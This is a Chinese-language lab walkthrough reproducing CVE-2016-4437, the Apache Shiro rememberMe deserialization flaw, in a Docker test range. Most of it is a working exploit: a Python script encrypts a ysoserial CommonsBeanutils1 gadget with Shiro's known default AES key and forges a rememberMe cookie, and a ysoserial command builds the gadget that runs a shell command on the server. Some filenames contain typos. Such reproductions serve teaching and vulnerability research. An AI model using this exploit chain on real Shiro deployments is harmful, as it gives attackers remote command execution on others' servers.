CVE2016-4437
1.漏洞复现
1.进入靶场
2.随便输入用户名和密码进行抓包,放到重放器里面,点击发送,相应包里看到 rememberMe = deleteMe 字段
3.利用 shiro 工具爆破密钥和利用链
4.命令执行
2.漏洞原理(手工复现)
下载反序列化利用工具: ysoserial
https:``//jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jarp |
---|
生成 playload 代码
#poc.py
import sys
import uuid
import base64
from Crypto.Cipher import AES
def encode_rememberme():
f = open('poc.ser','rb')
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme()
print("rememberMe={0}".format(payload.decode()))
使用 ysoserial 生成 CommonsBeanutils1 的 Gadget:
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.sery
运行 poc.py 生成 playload,并将其替换 Cookie
进入靶场目录
docker ps
docker exec -it 37ec3f93bcf9 /bin/bash
cd /tmp
ls<br>文件已经生成,漏洞成功复现
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于